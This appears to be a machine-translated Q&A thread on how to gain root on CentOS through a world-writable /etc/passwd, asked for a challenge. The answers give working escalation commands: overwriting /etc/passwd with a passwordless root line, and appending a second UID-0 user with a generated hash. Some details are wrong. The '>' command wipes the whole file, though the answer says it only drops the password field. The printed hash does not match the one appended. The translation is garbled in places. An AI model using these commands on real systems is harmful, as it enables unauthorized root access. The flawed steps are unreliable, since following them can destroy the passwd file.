使用 passwd 文件提升权限

信息安全 linux 特权升级 centos
2021-09-05 18:41:31

如果我在系统上有一个世界可写 /etc/passwd 文件,我如何将我的权限提升到 root?我目前是一个弱势用户。如果您想知道,底层操作系统是 CentOS 7.2

我知道 passwd 文件通常不是世界可写的,我正在做一个具有当前场景的挑战。

任何利用步骤都将非常有帮助

4个回答

密码通常存储在 中/etc/shadow,用户无法读取。/etc/passwd但是,从历史上看,它们与所有帐户信息一起存储在世界可读的文件中。为了向后兼容,如果密码哈希出现在 中的第二列/etc/passwd,它优先于/etc/shadow.

从历史上看,空的第二个字段/etc/passwd意味着该帐户没有密码,即任何人都可以在没有密码的情况下登录(用于访客帐户)。这有时会被禁用。如果无密码帐户被禁用,您可以输入您选择的密码的哈希值。您可以使用该crypt函数生成密码哈希,例如perl -le 'print crypt("foo", "aa")'将密码设置为foo.

即使您只能追加/etc/passwd而不覆盖内容,也可以获得 root 访问权限。这是因为同一个用户可以有多个条目,只要他们有不同的名字——用户是通过他们的 ID 而不是他们的名字来识别的,并且 root 帐户的定义特征不是它的名字而是它的事实用户 ID 为 0。因此,您可以通过附加一行声明具有另一个名称的帐户、您选择的密码和用户 ID 0 来创建备用 root 帐户。

只需输入:

echo root::0:0:root:/root:/bin/bash > /etc/passwd

su

你是根。

(删除x意味着 root 不再需要密码,您可以使用sed命令代替,echo但这足以获得 root shell)

您可以使用这种非破坏性方法:

# to generate hash of the password
openssl passwd mrcake
hKLD3431415ZE

# to create a second root user with "mrcake" password
echo "root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/bash" >> /etc/passwd

# to switch to a root2
su root2
Password: mrcake 

您可以将 root shell 重定向到您家中的程序。这样的程序以root身份运行,在这样的程序中你可以获得特权(例如通过设置setuid),或者只是做你想做的事。考虑到各种进程都会运行 root shell,你很快就能获得 root 权限。